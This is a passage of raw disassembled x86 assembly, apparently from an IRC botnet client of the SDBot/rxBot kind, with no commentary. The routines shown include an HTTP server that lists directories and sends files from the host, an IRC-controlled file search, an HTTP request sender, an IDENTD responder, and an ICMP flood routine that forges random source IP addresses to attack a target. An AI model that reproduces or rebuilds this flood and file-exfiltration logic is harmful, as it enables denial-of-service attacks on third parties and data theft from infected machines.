; "%s%s" push eax call sub_418D70 lea eax, [ebp+var_314] push offset asc_438AE8 ; "\n" push eax call sub_419890 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_49437C push 1 cmp eax, 10h pop esi jz short loc_40743F cmp eax, 0FFFFFFFFh jnz short loc_407442 push [ebp+arg_0] jmp short loc_4074BE ; --------------------------------------------------------------------------- loc_40743F: ; CODE XREF: sub_407317+11Cj mov [ebp+var_4], esi loc_407442: ; CODE XREF: sub_407317+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40744F mov [ebp+var_4], esi loc_40744F: ; CODE XREF: sub_407317+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4074C9 cmp [ebp+arg_C], edi jz short loc_4074BD lea eax, [ebp+var_314] push offset asc_438AEC ; "*" push eax call sub_419FB0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_418D70 lea eax, [ebp+var_210] push eax call sub_407D06 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_418D70 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_407518 ; --------------------------------------------------------------------------- loc_4074BD: ; CODE XREF: sub_407317+14Fj push ebx loc_4074BE: ; CODE XREF: sub_407317+126j call dword_44B758 ; closesocket jmp loc_4075C0 ; --------------------------------------------------------------------------- loc_4074C9: ; CODE XREF: sub_407317+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:dword_4942EC mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_407518 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_418D70 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_49431C push esi mov [ebp+var_330], eax call ds:dword_4942E0 loc_407518: ; CODE XREF: sub_407317+1A4j ; sub_407317+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"... push eax call sub_418D70 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_4161EB mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_44D05C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_407195 push edi push edi call ds:dword_4942F4 mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_44D06C[ecx], eax jz short loc_407592 loc_407580: ; CODE XREF: sub_407317+279j cmp [ebp+var_318], edi jnz short loc_4075C0 push 5 call ds:dword_4942D8 jmp short loc_407580 ; --------------------------------------------------------------------------- loc_407592: ; CODE XREF: sub_407317+267j push ebx call dword_44B758 ; closesocket call ds:dword_4942F0 push eax lea eax, [ebp+var_8C4] push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"... push eax call sub_418D70 lea eax, [ebp+var_8C4] push eax call sub_4035E1 add esp, 10h loc_4075C0: ; CODE XREF: sub_407317+1ADj ; sub_407317+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_407317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075C7 proc near ; CODE XREF: sub_407195+159p ; sub_40C50A+49E3p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_4189A0 mov edi, [ebp+arg_0] push offset asc_438B58 ; "\n" push edi call sub_419890 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_407626 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_418EF0 add esp, 14h jmp loc_407723 ; --------------------------------------------------------------------------- loc_407626: ; CODE XREF: sub_4075C7+3Aj cmp [ebp+arg_C], ebx push edi jz loc_407709 call sub_418E70 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send push edi call sub_418E70 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 0Ch jmp short loc_407723 ; --------------------------------------------------------------------------- loc_407709: ; CODE XREF: sub_4075C7+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 10h loc_407723: ; CODE XREF: sub_4075C7+5Aj ; sub_4075C7+140j lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send cmp [ebp+arg_C], ebx jz short loc_4077BB push [ebp+arg_C] call sub_418E70 cmp eax, 2 pop ecx jbe short loc_4077BB push [ebp+arg_C] call sub_418E70 sub eax, 3 pop ecx jz short loc_40776F loc_407763: ; CODE XREF: sub_4075C7+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40776F dec eax jnz short loc_407763 loc_40776F: ; CODE XREF: sub_4075C7+19Aj ; sub_4075C7+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_4191A0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send loc_4077BB: ; CODE XREF: sub_4075C7+17Ej ; sub_4075C7+18Cj lea eax, [ebp+var_388] push eax push edi call ds:dword_49433C lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:dword_494338 test eax, eax jz loc_407BAC mov edi, 1FFh loc_4077E7: ; CODE XREF: sub_4075C7+5DFj cmp [ebp+var_388], ebx jz loc_407B94 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_419360 pop ecx test eax, eax pop ecx jz loc_407B94 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_419360 pop ecx test eax, eax pop ecx jz loc_407B94 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_494360 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_49435C mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40785C mov ecx, offset aAm ; "AM" loc_40785C: ; CODE XREF: sub_4075C7+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_407868 sub eax, 0Ch loc_407868: ; CODE XREF: sub_4075C7+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_418D70 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_407A15 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4078E9 lea eax, [ebp+var_35C] push eax push offset aS_5 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_418EF0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_418EF0 add esp, 28h jmp loc_407B65 ; --------------------------------------------------------------------------- loc_4078E9: ; CODE XREF: sub_4075C7+2DBj cmp [ebp+arg_C], ebx jz loc_4079D3 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_5 ; "%s%s/" push edi push eax call sub_418EF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send lea eax, [ebp+var_35C] push eax call sub_418E70 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_407989 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40798E ; --------------------------------------------------------------------------- loc_407989: ; CODE XREF: sub_4075C7+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40798E: ; CODE XREF: sub_4075C7+3C0j lea eax, [ebp+var_248] push edi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_407B56 ; --------------------------------------------------------------------------- loc_4079D3: ; CODE XREF: sub_4075C7+325j lea eax, [ebp+var_35C] push eax push offset aS_6 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_418EF0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_407A00: ; CODE XREF: sub_4075C7+476j lea eax, [ebp+var_248] push esi push eax call sub_418EF0 add esp, 24h jmp loc_407B65 ; --------------------------------------------------------------------------- loc_407A15: ; CODE XREF: sub_4075C7+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_407A3F push ebx push [ebp+var_368] call sub_4055AD push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_407A00 ; --------------------------------------------------------------------------- loc_407A3F: ; CODE XREF: sub_4075C7+454j cmp [ebp+arg_C], ebx jz loc_407B3F push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_6 ; "%s%s" push edi push eax call sub_418EF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send lea eax, [ebp+var_35C] push eax call sub_418E70 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_407ADF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_407AE4 ; --------------------------------------------------------------------------- loc_407ADF: ; CODE XREF: sub_4075C7+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_407AE4: ; CODE XREF: sub_4075C7+516j lea eax, [ebp+var_248] push edi push eax call sub_418EF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_418EF0 add esp, 1Ch jmp short loc_407B65 ; --------------------------------------------------------------------------- loc_407B3F: ; CODE XREF: sub_4075C7+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_407B56: ; CODE XREF: sub_4075C7+407j lea eax, [ebp+var_248] push eax call sub_418EF0 add esp, 18h loc_407B65: ; CODE XREF: sub_4075C7+31Dj ; sub_4075C7+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send cmp [ebp+arg_8], ebx jz short loc_407B94 push 7D0h call ds:dword_4942D8 loc_407B94: ; CODE XREF: sub_4075C7+226j ; sub_4075C7+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:dword_494338 test eax, eax jnz loc_4077E7 loc_407BAC: ; CODE XREF: sub_4075C7+215j push [ebp+arg_0] call ds:dword_494334 cmp [ebp+arg_8], ebx jz short loc_407BEF mov eax, [ebp+var_8] cdq push edx push eax call sub_4055AD pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_4055AD pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_418D70 add esp, 14h jmp short loc_407C23 ; --------------------------------------------------------------------------- loc_407BEF: ; CODE XREF: sub_4075C7+5F1j cmp [ebp+arg_C], ebx jz short loc_407C09 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_418D70 pop ecx pop ecx jmp short loc_407C23 ; --------------------------------------------------------------------------- loc_407C09: ; CODE XREF: sub_4075C7+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_418D70 add esp, 10h loc_407C23: ; CODE XREF: sub_4075C7+626j ; sub_4075C7+640j lea eax, [ebp+var_248] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_44B710 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4075C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C49 proc near ; CODE XREF: sub_407195+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4942EC mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D01 push esi push ebx call ds:dword_49431C cmp eax, esi mov [ebp+arg_4], eax jz short loc_407CFA loc_407C8E: ; CODE XREF: sub_407C49+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_4189A0 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_407CAB mov edi, [ebp+arg_4] loc_407CAB: ; CODE XREF: sub_407C49+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_494318 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_4942DC push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_407CF5 call dword_44B654 ; WSAGetLastError cmp eax, 2733h jnz short loc_407CFA xor eax, eax loc_407CF5: ; CODE XREF: sub_407C49+9Bj sub [ebp+arg_4], eax jnz short loc_407C8E loc_407CFA: ; CODE XREF: sub_407C49+43j ; sub_407C49+A8j push ebx call ds:dword_4942E0 loc_407D01: ; CODE XREF: sub_407C49+30j pop edi pop esi pop ebx leave retn sub_407C49 endp ; =============== S U B R O U T I N E ======================================= sub_407D06 proc near ; CODE XREF: sub_407317+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_418E70 test eax, eax pop ecx jbe short loc_407D2F loc_407D19: ; CODE XREF: sub_407D06+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_407D23 mov byte ptr [esi+edi], 2Fh loc_407D23: ; CODE XREF: sub_407D06+17j push edi inc esi call sub_418E70 cmp esi, eax pop ecx jb short loc_407D19 loc_407D2F: ; CODE XREF: sub_407D06+11j mov eax, edi pop edi pop esi retn sub_407D06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D34 proc near ; CODE XREF: sub_40C50A+2C0Bp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_44B638 ; WSAStartup push 6 push 1 push 2 call dword_44B740 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_44B6C0 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AED0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jz short loc_407E11 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_407DAD mov eax, offset dword_44B164 loc_407DAD: ; CODE XREF: sub_407D34+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_418EF0 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_44B710 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_418A00 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_44B6D8 ; recv pop esi loc_407E11: ; CODE XREF: sub_407D34+6Bj push ebx call dword_44B758 ; closesocket call dword_44B620 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_418D70 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_407E51 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_407E51: ; CODE XREF: sub_407D34+102j pop edi pop ebx leave retn sub_407D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E55 proc near ; DATA XREF: sub_40C50A+3C04o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_44B740 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_407EF0 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"... push eax call sub_418D70 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_407ED3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40842D add esp, 14h loc_407ED3: ; CODE XREF: sub_407E55+5Cj lea eax, [ebp+var_3BC] push eax call sub_4035E1 push [ebp+var_38] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC loc_407EF0: ; CODE XREF: sub_407E55+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_44B6A0 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_407F67 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_407F4A push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40842D add esp, 14h loc_407F4A: ; CODE XREF: sub_407E55+D3j lea eax, [ebp+var_3BC] push eax call sub_4035E1 push [ebp+var_38] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC loc_407F67: ; CODE XREF: sub_407E55+B3j lea eax, [ebp+var_1B8] push eax call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_407FCE lea eax, [ebp+var_3BC] push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP." push eax call sub_418D70 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_407FB1 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40842D add esp, 14h loc_407FB1: ; CODE XREF: sub_407E55+13Aj lea eax, [ebp+var_3BC] push eax call sub_4035E1 push [ebp+var_38] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC loc_407FCE: ; CODE XREF: sub_407E55+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_44B6C0 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_44B700 ; inet_addr mov esi, ds:dword_494308 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_40800C: ; CODE XREF: sub_407E55+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4081B7 push 41Ch mov byte_44B168, 45h call dword_44B6C0 ; htons cmp [ebp+var_2C], edi mov word_44B16A, ax mov word_44B16C, bx mov word_44B16E, di mov byte_44B170, 80h mov byte_44B171, bl mov word_44B172, di jz short loc_408092 call sub_419000 mov ebx, eax shl ebx, 8 call sub_419000 add ebx, eax shl ebx, 8 call sub_419000 add ebx, eax shl ebx, 8 call sub_419000 add ebx, eax push 1 mov dword_44B174, ebx pop ebx jmp short loc_4080AA ; --------------------------------------------------------------------------- loc_408092: ; CODE XREF: sub_407E55+20Bj push [ebp+var_1BC] call sub_40AFEC pop ecx push eax call dword_44B700 ; inet_addr mov dword_44B174, eax loc_4080AA: ; CODE XREF: sub_407E55+23Bj mov eax, [ebp+var_18] mov dword_44B178, eax call sub_419000 cdq mov ecx, 100h idiv ecx mov byte_44B17C, dl call sub_419000 cdq mov ecx, 100h idiv ecx mov byte_44B17D, dl call sub_419000 cdq mov ecx, 0F0h push 400h idiv ecx mov word_44B17E, di mov word_44B182, bx inc edx mov word_44B180, dx call sub_419000 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_44B184 call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_44B168 push [ebp+var_4] call dword_44B724 ; sendto cmp eax, 0FFFFFFFFh jz short loc_408142 inc [ebp+arg_0] jmp loc_40800C ; --------------------------------------------------------------------------- loc_408142: ; CODE XREF: sub_407E55+2E3j push [ebp+var_4] call dword_44B758 ; closesocket call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"... lea eax, [ebp+var_3BC] push 200h push eax call sub_418EF0 add esp, 18h cmp [ebp+var_24], edi jnz short loc_40819A push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40842D add esp, 14h loc_40819A: ; CODE XREF: sub_407E55+323j lea eax, [ebp+var_3BC] push eax call sub_4035E1 push [ebp+var_38] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC loc_4081B7: ; CODE XREF: sub_407E55+1C8j push [ebp+var_4] call dword_44B758 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"... push eax call sub_418D70 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_40821F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40842D add esp, 14h loc_40821F: ; CODE XREF: sub_407E55+3A8j lea eax, [ebp+var_3BC] push eax call sub_4035E1 push [ebp+var_38] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC sub_407E55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40823C proc near ; DATA XREF: sub_40BBCB+4B5o ; sub_40C50A+1D84o var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_4189A0 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_44B6C0 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_44B740 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40839D mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_44D064[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_44B6EC ; bind cmp eax, 0FFFFFFFFh jz loc_40839D push 5 push ebx call dword_44B6E8 ; listen cmp eax, 0FFFFFFFFh jz loc_40839D mov [ebp+var_C], edi mov edi, 200h loc_4082C7: ; CODE XREF: sub_40823C+EAj ; sub_40823C+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_44B754 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_408398 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_238] push offset aIdentdClientCo ; "[IDENTD]: Client connection from IP: %s"... push eax call sub_418D70 lea eax, [ebp+var_238] push eax call sub_4035E1 add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_44B6D8 ; recv cmp eax, 0FFFFFFFFh jz short loc_4082C7 lea eax, [ebp+var_238] push esi push eax call sub_4098D3 push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_4189A0 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_4138AA push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_418EF0 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz loc_4082C7 mov [ebp+var_8], 1 jmp loc_4082C7 ; --------------------------------------------------------------------------- loc_408398: 